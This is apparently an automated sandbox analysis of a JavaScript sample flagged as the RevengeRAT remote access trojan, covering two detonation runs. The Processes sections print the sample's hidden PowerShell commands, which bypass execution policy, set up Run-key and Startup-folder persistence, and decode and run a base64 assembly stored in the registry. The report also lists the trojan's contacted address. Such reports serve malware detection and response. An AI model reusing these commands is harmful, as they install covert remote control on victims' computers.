Analysis Overview
SHA256
d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
Threat Level: Known bad
The file d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js was found to be: Known bad.
Malicious Activity Summary
RevengeRAT
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Drops startup file
Checks computer location settings
Adds Run key to start application
Enumerates physical storage devices
Command and Scripting Interpreter: JavaScript
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-16 05:37
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-16 05:37
Reported
2024-10-16 05:39
Platform
win7-20240708-en
Max time kernel
141s
Max time network
142s
Command Line
Signatures
RevengeRAT
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'));wscript 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'"
C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js' -PropertyType String -Force;"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'))"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Network
| Country | Destination | Domain | Proto |
| US | 54.146.241.16:5222 | tcp | |
| US | 54.146.241.16:5222 | tcp | |
| US | 54.146.241.16:5222 | tcp | |
| US | 54.146.241.16:5222 | tcp |
Files
memory/2716-4-0x000007FEF547E000-0x000007FEF547F000-memory.dmp
memory/2716-5-0x000000001B530000-0x000000001B812000-memory.dmp
memory/2716-7-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp
memory/2716-6-0x0000000002890000-0x0000000002898000-memory.dmp
memory/2716-8-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp
memory/2716-9-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp
C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
| MD5 | 5508be73f4288131312fe9dcbe64322c |
| SHA1 | f579ae533109afddd4d9e528c7c393035cd80e7a |
| SHA256 | d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd |
| SHA512 | 0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f |
memory/2716-10-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp
memory/2716-12-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KK2X576DW6BVHI1PKRXG.temp
| MD5 | 28a91547a923fb82cafce805e4b5bfef |
| SHA1 | 93fe48e8f08066d51c38209b33b6d129e0b65f90 |
| SHA256 | 19403ee7c07468bc1cfcdcb19ddfa14cc86e0f019702a3f56116ae0975eeb4dd |
| SHA512 | 045b87d67e498800ae057bd08459da2eec5e73eb7aa517613e5c207239f211af08482c7d6f186d01ed094f521ffd391713f1e272ce5ab77a9fe77463c80e4c3d |
memory/2632-30-0x0000000002970000-0x000000000297A000-memory.dmp
memory/2716-31-0x000007FEF547E000-0x000007FEF547F000-memory.dmp
memory/2716-32-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-16 05:37
Reported
2024-10-16 05:39
Platform
win10v2004-20241007-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
RevengeRAT
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'));wscript 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'"
C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js' -PropertyType String -Force;"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'))"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 54.146.241.16:5222 | tcp | |
| US | 8.8.8.8:53 | 45.19.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 16.241.146.54.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.163.202.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.117.19.2.in-addr.arpa | udp |
| US | 54.146.241.16:5222 | tcp | |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 54.146.241.16:5222 | tcp | |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 54.146.241.16:5222 | tcp |
Files
memory/1724-0-0x00007FF8BCC83000-0x00007FF8BCC85000-memory.dmp
memory/1724-1-0x0000019D505B0000-0x0000019D505D2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xlezlbev.023.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1724-11-0x00007FF8BCC80000-0x00007FF8BD741000-memory.dmp
memory/1724-12-0x00007FF8BCC80000-0x00007FF8BD741000-memory.dmp
memory/1724-13-0x0000019D50AA0000-0x0000019D50AE4000-memory.dmp
C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
| MD5 | 5508be73f4288131312fe9dcbe64322c |
| SHA1 | f579ae533109afddd4d9e528c7c393035cd80e7a |
| SHA256 | d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd |
| SHA512 | 0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f |
memory/1724-16-0x0000019D50B70000-0x0000019D50BE6000-memory.dmp
memory/1568-45-0x0000023982540000-0x000002398254A000-memory.dmp
memory/1724-46-0x00007FF8BCC83000-0x00007FF8BCC85000-memory.dmp
memory/1724-47-0x00007FF8BCC80000-0x00007FF8BD741000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | a26df49623eff12a70a93f649776dab7 |
| SHA1 | efb53bd0df3ac34bd119adf8788127ad57e53803 |
| SHA256 | 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245 |
| SHA512 | e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c |